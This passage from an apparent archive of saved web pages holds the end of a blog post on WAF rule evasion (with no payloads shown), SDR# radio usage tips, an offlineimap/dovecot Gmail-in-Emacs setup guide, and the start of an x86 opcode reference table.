represent a real scenario… I hope…

Now everybody knows that 42 is the answer to life, the universe and
everything. But what about: “Will you evade the OWASP Rule Set at paranoia
level 4?”

### Paranoia Level 4 \(PL4\)

basically no, I can’t. All characters outside the range `a-z A-Z 0–9` are
blocked\! No way… and trust me, when you need to execute a command in order to
read files, there’s a 90% of probabilities that you need a “space” char or a
“forward slash” 😉

### Do you want more?

Second part of this article: https://medium.com/@themiddleblue/web-
application-firewall-waf-evasion-techniques-2-125995f3e7b0

### Final thoughts

Back to static HTML pages… it’s the fastest way to improve the security of
your web application\! 🤓 It’s hard to say what’s the best configuration to
avoid WAF evasion, or what’s the best paranoia level to use. IMHO, we
shouldn’t trust in a rule set evenly distributed on a web application. Indeed
I think we should configure our WAF rules contextualized per application
functionality.

Anyway, when you write a new SecRule on your ModSecurity or something like,
keep in mind that probably there’re many ways to elude your filter / regular
expression. So write it thinking of “how can I evade this rule?”.

### From my bookmarks

Learn more about ModSecurity Rules:
https://github.com/SpiderLabs/ModSecurity/wiki/Reference-Manual

Apache ModSecurity tutorial by netnea: https://www.netnea.com/cms/apache-
tutorials/

SpiderLabs Blog: https://www.trustwave.com/Resources/SpiderLabs-Blog/

ModSecurity v3 Github:
https://github.com/SpiderLabs/ModSecurity/tree/v3/master

### Contacts

https://twitter.com/Menin\_TheMiddle  
https://github.com/theMiddleBlue

  

# Tips for using SDR\#Tylerwatt12.com | Tylerwatt12.com
**Created:**| _4/15/2014 1:02:50 PM_  
---|---  
**Updated:**| _4/15/2014 1:02:50 PM_  
**Author:**| __  
**Tags:**| _sdr_  
  

# Tips for using SDR\#

1 Reply

# Intro

  * When you are using SDR\# you are looking at a chunk of radio spectrum. Standard radios only have the ability to process one signal at a time, you now have the ability to not only hear, but also see the signals.

#  Sample Rates

  * Your sample rate is your bandwidth. If you only want to see 1MHz of spectrum, choose 1.0MSPS. Higher sample rates above 2.4MSPS are not recommended

#  Interference

  * Interference from very strong signals will show up as mirrors that run in the opposite direction of the actual signal or only appear at the edge of the screen.
  * <img src='img/Temp2_8405.gif' alt='oposite' />
  * <img src='img/Temp2_8408.gif' alt='disappear center' />

  * Interference from very strong signals will show up at intervals corresponding to your MSPS rate 
    * If you have a signal at 100MHz, and your sample rate is 1MSPS 
      * You will see a duplicated signal at 101MHz, 99MHz, 98MHz, and 102MHz.
    * If you have a signal at 100MHz, and your sample rate is 2MSPS 
      * You will see a duplicated signal at 98MHz, 96MHz, 102MHz, and 104MHz.

#  The two display methods of SDR\#

  * What is the FFT and Waterfall? 
    * FFT: Top half of the screen
    * Waterfall: Bottom half of the screen

#  How to enter frequencies into SDR\#

  * Frequency entry 
    * Type it into the VFO
    * <img src='img/Temp2_8397.gif' alt='typing' />
    * Click on the bottom or top half of a number
    * <img src='img/Temp2_8400.gif' alt='updown' />
    * Drag the waterfall or FFT
    * <img src='img/Temp2_8399.gif' alt='dragging' />
    * Use your scroll wheel

#  Eliminating the center signal spike

  * If you want to get rid of that DC spike in the center, enable Correct IQ
  * <img src='img/Temp2_8398.gif' alt='correctiq' />

#  Decoding digital tips

  * For decoding digital signals 
    * max out the volume, use WFM, change frequency step to 6.25KHz, and change the bandwidth to fit perfectly around the signal’s envelope.
    * <img src='img/Temp2_8401.gif' alt='env' />
    * Set your sample rate to .900000001 MSPS \(I personally have had the best results with this\)
    * Also uncheck the filter audio box, chances are, your application will want a clean signal coming from SDR\# to decode digital data properly.

#  Decreasing latency

  * If you are decoding time sensitive information \(Trunked radio decoding\), turn down your audio latency so it is low enough to where the audio doesn’t pop from buffer underruns, but is fast enough so that the beginning of conversations aren’t cut off.
  * <img src='img/Temp2_8407.gif' width='217' height='154' alt='audio digital' />

#  Keeping things organized

  * If you are going to be using your SDR for multiple uses, like HF, VHF, and Digital. Duplicate your SDR\# folder for each instance. This will save configuration time, so you won’t have to change modulation, volume, or Gain every time you want to listen to different modes.
  * <img src='img/Temp2_8403.gif' alt='copies' />

#  When to use AM

  * If you do not have an upconverter, there are only very few times you will use AM,SSB,USB,LSB,DSB,CW,or RAW. These include 
    * Listening to Airband \(120MHz\)
    * Listening to CB Radio \(26-27MHz\)
    * 12 and 10meter ham bands \(24-30MHz\)
    * Low tech gadgets that run on 27 and 49MHz \(RC Cars\)
    * Remote controls that run on ~400MHz \(Car door unlocks\)
    * some low tech ISM devices 902-928MHz \(home automation, weather sensors\)
  * Otherwise use NFM or WFM

#  Common interference in the home

  * If you use Wi-Fi or Ethernet in your home, you may see lots of interference in the 140-160MHz range, when browsing these ranges don’t use Tuner-AGC unless you have already locked onto a signal you want to listen to. If you are just browsing, keep the gain somewhat low to avoid overloading the device.

  * When to use AGC 
    * Use AGC when you are aware that checking the box may lead to visible interference, only use AGC when you are sure the frequency you are on, is the only signal you want to listen to.

  * Tuner-AGC seems to work better than RTL-AGC at picking signals out from noise

#  Calibration

  * RTL-Calibration 
    * Generally RTL sticks need calibration. If you are only listening to FM Radio, calibration probably isn’t needed, but for narrow and more precise signals, it is required.
    * It is recommended to wait several minutes before calibrating, when the temperature of the dongle warms up, the frequency could shift 4+ppm.
    * Calibration is calculated in ppm \(parts per million\) AKA Hertz per MHz
    * so, if your correction is 50ppm, a signal at 1,000,000Hz\(1MHz\), will be 1,000,050Hz\(1.00005MHz\)
    * Remember that this scales the higher in frequency you go. So at 900MHz, the correction will not be 900,000,000/900,000,050
    * It will be 900,045,000. At 900MHz, a difference of 45 KHz is huge, especially for narrow signals like voice.
    * When calibrating your dongle, always opt for using a higher frequency reference point.
    * Calibrating to a local NWS station \(162MHz\) is good, but calibrating to a local GSM tower, or trunked radio control channel is much preferred.
    * <img src='img/Temp2_8402.gif' alt='calibrate' />

#  Getting a clearer picture

  * FFT Resolution 
    * If you are listening to narrowband signals, it may be helpful to get a clearer view of the signals you are looking at.
    * <img src='img/Temp2_8406.gif' alt='fft res' />

  * When you first start using SDR\# turn your contrast down to a level where: 
    * no signal = blue
    * weak signal = light blue
    * med signal = orange
    * strong signal = red
    * Note, while gain controls how the signal is heard and viewed, contrast is only visual.
    * <img src='img/Temp2_8404.gif' alt='contrast' />

# Geek: How to use offlineimap and the dovecot mail server to read your Gmail
in Emacs efficiently » sacha chua :: enterprise 2.0 consultant, storyteller,
geek

**Created:**| _5/29/2010 11:10:05 AM_  
---|---  
**Updated:**| _5/29/2010 11:10:05 AM_  
**Author:**| _wishi_  
**Tags:**| _setup Linux mail_  
  

## Geek: How to use offlineimap and the dovecot mail server to read your Gmail
in Emacs efficiently

Posted on May 8th, 2008 by Sacha Chua

  1. Make sure you’ve set up Postfix or some other mail server that can send mail. I’m not going to cover that because my configuration for outgoing mail doesn’t use Gmail.
  2. Install dovecot \(IMAP server\) and offlineimap \(IMAP synchronization\). You can probably find binaries for your distribution.
  3. Edit /etc/dovecot.conf and set the following: 
[code]    default_mail_env = maildir:%h/Maildir

    
[/code]

  4. Put the following in ~/.offlineimaprc, changing your\_local\_username, your\_username, and your\_gmail\_password: 
[code]    [general]

    accounts = Gmail
    maxsyncaccounts = 1
    
    [Account Gmail]
    localrepository = Local
    remoterepository = Remote
    
    [Repository Local]
    type = IMAP
    remotehost = localhost
    port = 143
    remoteuser = your_local_username
    
    [Repository Remote]
    type = IMAP
    remotehost = imap.gmail.com
    remoteuser = your_username@gmail.com
    remotepass = your_gmail_password
    ssl = yes
    maxconnections = 1
    realdelete = no
    folderfilter = lambda foldername: foldername in ['INBOX']
    
[/code]

If you feel comfortable specifying your password for your local account in
your ~/.offlineimaprc, you can do so by adding a remotepass line under the
remoteuser line in the \[Repository Local\] section.

  5. `chmod go-rwx ~/.offlineimaprc` for a little bit of safety.
  6. Type **offlineimap** to start synchronizing.
  7. While that’s synchronizing, use something like this as your ~/.gnus: 
[code]    (setq gnus-select-method

          '(nnimap "Mail"
                   (nnimap-address "localhost")
                   (nnimap-stream network)
                   (nnimap-authenticator login)))
    
    (setq user-mail-address "youremail@example.com")
    (setq gnus-ignored-from-addresses "youruser")
    
[/code]

  8. Start Emacs. Start Gnus with M-x gnus. If you don’t see the INBOX group, press ^ \(gnus-group-enter-server-mode\), open nnimap:Mail, move your cursor to the INBOX, and either press RET to go into the group or press u \(gnus-browse-unsubscribe-current-group\) to toggle the subscription status until you’re subscribed to the group. Then it should show up on the group screen \(M-x gnus\). 
Hope that helps. Have fun\!

# geek64 edition | X86 Opcode and Instruction Reference 1.11
**Created:**| _4/7/2012 11:26:33 AM_  
---|---  
**Updated:**| _4/7/2012 11:27:23 AM_  
**Author:**| __  
**Tags:**| _bookmark asm x86 x64 opcode table_  
  

# X86 Opcode and Instruction Reference Home

Other editions: coder32, coder64, coder, geek32, geek

32/64-bit ModR/M Byte | 32/64-bit SIB Byte
16-bit ModR/M Byte

## one-byte opcodes index:

00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19
1A 1B 1C 1D 1E 1F  
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39
3A 3B 3C 3D 3E 3F  
40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59
5A 5B 5C 5D 5E 5F  
60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79
7A 7B 7C 7D 7E 7F  
80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99
9A 9B 9C 9D 9E 9F  
A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9
BA BB BC BD BE BF  
C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9
DA DB DC DD DE DF  
E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9
FA FB FC FD FE FF

## two-byte opcodes \(0F..\) index:

00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19
1A 1B 1C 1D 1E 1F  
20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39
3A 3B 3C 3D 3E 3F  
40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59
5A 5B 5C 5D 5E 5F  
60 61 62 63 64 65 66 67 68 69 6A 6B 6C 6D 6E 6F 70 71 72 73 74 75 76 77 78 79
7A 7B 7C 7D 7E 7F  
80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99
9A 9B 9C 9D 9E 9F  
A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9
BA BB BC BD BE BF  
C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9
DA DB DC DD DE DF  
E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9
FA FB FC FD FE FF

pf| 0F| po| so| flds| o| proc| st| m| rl| x| mnemonic| op1| op2| op3| op4|
iext| grp1| grp2| grp3| tested f| modif f| def f| undef f| f values|
description, notes  
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---  
| | 00| | dw| r| | | | | L| ADD| **Eb**|  Gb| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 01| | dW| r| | | | | L| ADD| **Evqp**|  Gvqp| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 02| | Dw| r| | | | | | ADD| **Gb**|  Eb| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 03| | DW| r| | | | | | ADD| **Gvqp**|  Evqp| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 04| | w| | | | | | | ADD| **AL**|  Ib| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 05| | W| | | | | | | ADD| **rAX**|  Ivds| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 06| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 07| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 08| | dw| r| | | | | L| OR| **Eb**|  Gb| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 09| | dW| r| | | | | L| OR| **Evqp**|  Gvqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 0A| | Dw| r| | | | | | OR| **Gb**|  Eb| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 0B| | DW| r| | | | | | OR| **Gvqp**|  Evqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 0C| | w| | | | | | | OR| **AL**|  Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 0D| | W| | | | | | | OR| **rAX**|  Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 0E| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 0F| | | | | |  _Two-byte Instructions_| | | | | | | | | |   
| |  10| | dw| r| | | | | L| ADC| **Eb**|  Gb| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 11| | dW| r| | | | | L| ADC| **Evqp**|  Gvqp| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 12| | Dw| r| | | | | | ADC| **Gb**|  Eb| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 13| | DW| r| | | | | | ADC| **Gvqp**|  Evqp| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 14| | w| | | | | | | ADC| **AL**|  Ib| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 15| | W| | | | | | | ADC| **rAX**|  Ivds| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 16| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 17| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 18| | dw| r| | | | | L| SBB| **Eb**|  Gb| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 19| | dW| r| | | | | L| SBB| **Evqp**|  Gvqp| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 1A| | Dw| r| | | | | | SBB| **Gb**|  Eb| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 1B| | DW| r| | | | | | SBB| **Gvqp**|  Evqp| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 1C| | w| | | | | | | SBB| **AL**|  Ib| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 1D| | W| | | | | | | SBB| **rAX**|  Ivds| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 1E| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 1F| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 20| | dw| r| | | | | L| AND| **Eb**|  Gb| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 21| | dW| r| | | | | L| AND| **Evqp**|  Gvqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 22| | Dw| r| | | | | | AND| **Gb**|  Eb| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 23| | DW| r| | | | | | AND| **Gvqp**|  Evqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 24| | w| | | | | | | AND| **AL**|  Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 25| | W| | | | | | | AND| **rAX**|  Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
26| | | | | | | | E| | |  _null_| |  prefix|  segreg| | | | | | | Null Prefix in 64-bit Mode  
| | 27| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 28| | dw| r| | | | | L| SUB| **Eb**|  Gb| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 29| | dW| r| | | | | L| SUB| **Evqp**|  Gvqp| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 2A| | Dw| r| | | | | | SUB| **Gb**|  Eb| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 2B| | DW| r| | | | | | SUB| **Gvqp**|  Evqp| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 2C| | w| | | | | | | SUB| **AL**|  Ib| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 2D| | W| | | | | | | SUB| **rAX**|  Ivds| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
2E| | | | | | | | E| | |  _null_| |  prefix|  segreg| | | | | | | Null Prefix in 64-bit Mode  
| | 2F| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 30| | dw| r| | | | | L| XOR| **Eb**|  Gb| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 31| | dW| r| | | | | L| XOR| **Evqp**|  Gvqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 32| | Dw| r| | | | | | XOR| **Gb**|  Eb| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 33| | DW| r| | | | | | XOR| **Gvqp**|  Evqp| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 34| | w| | | | | | | XOR| **AL**|  Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 35| | W| | | | | | | XOR| **rAX**|  Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
36| | | | | | | | E| | |  _null_| |  prefix|  segreg| | | | | | | Null Prefix in 64-bit Mode  
| | 37| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 38| | dw| r| | | | | | CMP| Eb| Gb| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 39| | dW| r| | | | | | CMP| Evqp| Gvqp| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 3A| | Dw| r| | | | | | CMP| Gb| Eb| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 3B| | DW| r| | | | | | CMP| Gvqp| Evqp| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 3C| | w| | | | | | | CMP| AL| Ib| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 3D| | W| | | | | | | CMP| rAX| Ivds| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
3E| | | | | | | | E| | |  _null_| |  prefix|  segreg| | | | | | | Null Prefix in 64-bit Mode  
| | 3F| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
40| | | | | | | | E| | | REX| | | | | | prefix| | | | | | | | Access to new 8-bit registers  
41| | | | | | | | E| | | REX.B| | | | | | prefix| | | | | | | | Extension of r/m field, base field, or opcode reg field  
42| | | | | | | | E| | | REX.X| | | | | | prefix| | | | | | | | Extension of SIB index field  
43| | | | | | | | E| | | REX.XB| | | | | | prefix| | | | | | | | REX.X and REX.B combination  
44| | | | | | | | E| | | REX.R| | | | | | prefix| | | | | | | | Extension of ModR/M reg field  
45| | | | | | | | E| | | REX.RB| | | | | | prefix| | | | | | | | REX.R and REX.B combination  
46| | | | | | | | E| | | REX.RX| | | | | | prefix| | | | | | | | REX.R and REX.X combination  
47| | | | | | | | E| | | REX.RXB| | | | | | prefix| | | | | | | | REX.R, REX.X and REX.B combination  
48| | | | | | | | E| | | REX.W| | | | | | prefix| | | | | | | | 64 Bit Operand Size  
49| | | | | | | | E| | | REX.WB| | | | | | prefix| | | | | | | | REX.W and REX.B combination  
4A| | | | | | | | E| | | REX.WX| | | | | | prefix| | | | | | | | REX.W and REX.X combination  
4B| | | | | | | | E| | | REX.WXB| | | | | | prefix| | | | | | | | REX.W, REX.X and REX.B combination  
4C| | | | | | | | E| | | REX.WR| | | | | | prefix| | | | | | | | REX.W and REX.R combination  
4D| | | | | | | | E| | | REX.WRB| | | | | | prefix| | | | | | | | REX.W, REX.R and REX.B combination  
4E| | | | | | | | E| | | REX.WRX| | | | | | prefix| | | | | | | | REX.W, REX.R and REX.X combination  
4F| | | | | | | | E| | | REX.WRXB| | | | | | prefix| | | | | | | | REX.W, REX.R, REX.X and REX.B combination  
| | 50| | +r| | | | E| | | PUSH| Zvq| | | | | gen|  stack| | | | | | | Push Word, Doubleword or Quadword Onto the Stack  
| | 58| | +r| | | | E| | | POP| **Zvq**| | | | |  gen|  stack| | | | | | | Pop a Value from the Stack  
| | 60| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 61| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 62| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 63| | D| r| | | E| | | MOVSXD| **Gdqp**|  Ed| | | | gen|  conver| | | | | | | Move with Sign-Extension  
64| | | | | | | | | | | FS|  _FS_| | | | |  prefix|  segreg| | | | | | | FS segment override prefix  
65| | | | | | | | | | | GS|  _GS_| | | | |  prefix|  segreg| | | | | | | GS segment override prefix  
66| | | | | | | | | | |  _no mnemonic_| |  prefix| | | | | | | | Operand-size override prefix  
66| | | | | | | M| | | |  _no mnemonic_|  sse2| prefix| | | | | | | | Precision-size override prefix  
67| | | | | | | | | | |  _no mnemonic_| |  prefix| | | | | | | | Address-size override prefix  
| | 68| | | | | | | | | PUSH| Ivs| | | | | gen|  stack| | | | | | | Push Word, Doubleword or Quadword Onto the Stack  
| | 69| | | r| | | | | | IMUL| **Gvqp**|  Evqp| Ivds| | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Signed Multiply  
| | 6A| | S| | | | | | | PUSH| Ibss| | | | | gen|  stack| | | | | | | Push Word, Doubleword or Quadword Onto the Stack  
| | 6B| | S| r| | | | | | IMUL| **Gvqp**|  Evqp| Ibs| | | gen|  arith| binary| | o..szapc| o......c| ...szap.| | Signed Multiply  
| | 6C| | w| | | | | f1 | | INS| **Yb**|  DX| | | | gen|  inout string| .d......| | | | | Input from Port to String  
INSB| ** _Yb_**|  _DX_| |   
| |  6D| | W| | | | | f1 | | INS| **Ywo**|  DX| | | | gen|  inout string| .d......| | | | | Input from Port to String  
INSW| ** _Ywo_**|  _DX_| |   
| |  6D| | W| | | | | f1 | | INS| **Yv**|  DX| | | | gen|  inout string| .d......| | | | | Input from Port to String  
INSD| ** _Ydo_**|  _DX_| |   
| |  6E| | w| | | | | f1 | | OUTS| **DX**|  Xb| | | | gen|  inout string| .d......| | | | | Output String to Port  
OUTSB| ** _DX_**|  _Xb_| |   
| |  6F| | W| | | | | f1 | | OUTS| **DX**|  Xwo| | | | gen|  inout string| .d......| | | | | Output String to Port  
OUTSW| ** _DX_**|  _Xwo_| |   
| |  6F| | W| | | | | f1 | | OUTS| **DX**|  Xv| | | | gen|  inout string| .d......| | | | | Output String to Port  
OUTSD| ** _DX_**|  _Xdo_| |   
| |  70| | tttn| | | | | | | JO| Jbs| | | | | gen|  branch| cond| o.......| | | | | Jump short if overflow \(OF=1\)  
| | 71| | tttN| | | | | | | JNO| Jbs| | | | | gen|  branch| cond| o.......| | | | | Jump short if not overflow \(OF=0\)  
| | 72| | ttTn| | | | | | | JB| Jbs| | | | | gen|  branch| cond| .......c| | | | | Jump short if below/not above or equal/carry \(CF=1\)  
JNAE| Jbs| | |   
JC| Jbs| | |   
| | 73| | ttTN| | | | | | | JNB| Jbs| | | | | gen|  branch| cond| .......c| | | | | Jump short if not below/above or equal/not carry \(CF=0\)  
JAE| Jbs| | |   
JNC| Jbs| | |   
| | 74| | tTtn| | | | | | | JZ| Jbs| | | | | gen|  branch| cond| ....z...| | | | | Jump short if zero/equal \(ZF=0\)  
JE| Jbs| | |   
| | 75| | tTtN| | | | | | | JNZ| Jbs| | | | | gen|  branch| cond| ....z...| | | | | Jump short if not zero/not equal \(ZF=1\)  
JNE| Jbs| | |   
| | 76| | tTTn| | | | | | | JBE| Jbs| | | | | gen|  branch| cond| ....z..c| | | | | Jump short if below or equal/not above \(CF=1 AND ZF=1\)  
JNA| Jbs| | |   
| | 77| | tTTN| | | | | | | JNBE| Jbs| | | | | gen|  branch| cond| ....z..c| | | | | Jump short if not below or equal/above \(CF=0 AND ZF=0\)  
JA| Jbs| | |   
| | 78| | Tttn| | | | | | | JS| Jbs| | | | | gen|  branch| cond| ...s....| | | | | Jump short if sign \(SF=1\)  
| | 79| | TttN| | | | | | | JNS| Jbs| | | | | gen|  branch| cond| ...s....| | | | | Jump short if not sign \(SF=0\)  
| | 7A| | TtTn| | | | | | | JP| Jbs| | | | | gen|  branch| cond| ......p.| | | | | Jump short if parity/parity even \(PF=1\)  
JPE| Jbs| | |   
| | 7B| | TtTN| | | | | | | JNP| Jbs| | | | | gen|  branch| cond| ......p.| | | | | Jump short if not parity/parity odd  
JPO| Jbs| | |   
| | 7C| | TTtn| | | | | | | JL| Jbs| | | | | gen|  branch| cond| o..s....| | | | | Jump short if less/not greater \(SF\!=OF\)  
JNGE| Jbs| | |   
| | 7D| | TTtN| | | | | | | JNL| Jbs| | | | | gen|  branch| cond| o..s....| | | | | Jump short if not less/greater or equal \(SF=OF\)  
JGE| Jbs| | |   
| | 7E| | TTTn| | | | | | | JLE| Jbs| | | | | gen|  branch| cond| o..sz...| | | | | Jump short if less or equal/not greater \(\(ZF=1\) OR \(SF\!=OF\)\)  
JNG| Jbs| | |   
| | 7F| | TTTN| | | | | | | JNLE| Jbs| | | | | gen|  branch| cond| o..sz...| | | | | Jump short if not less nor equal/greater \(\(ZF=0\) AND \(SF=OF\)\)  
JG| Jbs| | |   
| | 80| | w| 0| | | | | L| ADD| **Eb**|  Ib| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 80| | w| 1| | | | | L| OR| **Eb**|  Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 80| | w| 2| | | | | L| ADC| **Eb**|  Ib| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 80| | w| 3| | | | | L| SBB| **Eb**|  Ib| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 80| | w| 4| | | | | L| AND| **Eb**|  Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 80| | w| 5| | | | | L| SUB| **Eb**|  Ib| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 80| | w| 6| | | | | L| XOR| **Eb**|  Ib| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 80| | w| 7| | | | | | CMP| Eb| Ib| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 81| | W| 0| | | | | L| ADD| **Evqp**|  Ivds| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
| | 81| | W| 1| | | | | L| OR| **Evqp**|  Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Inclusive OR  
| | 81| | W| 2| | | | | L| ADC| **Evqp**|  Ivds| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Add with Carry  
| | 81| | W| 3| | | | | L| SBB| **Evqp**|  Ivds| | | | gen|  arith| binary| .......c| o..szapc| o..szapc| | | Integer Subtraction with Borrow  
| | 81| | W| 4| | | | | L| AND| **Evqp**|  Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical AND  
| | 81| | W| 5| | | | | L| SUB| **Evqp**|  Ivds| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Subtract  
| | 81| | W| 6| | | | | L| XOR| **Evqp**|  Ivds| | | | gen|  logical| | | o..szapc| o..sz.pc| .....a..| o......c| Logical Exclusive OR  
| | 81| | W| 7| | | | | | CMP| Evqp| Ivds| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Compare Two Operands  
| | 82| | | | | | E| | |  _invalid_| | | | | | | | | |  Invalid Instruction in 64-Bit Mode  
| | 83| | SW| 0| | | | | L| ADD| **Evqp**|  Ibs| | | | gen|  arith| binary| | o..szapc| o..szapc| | | Add  
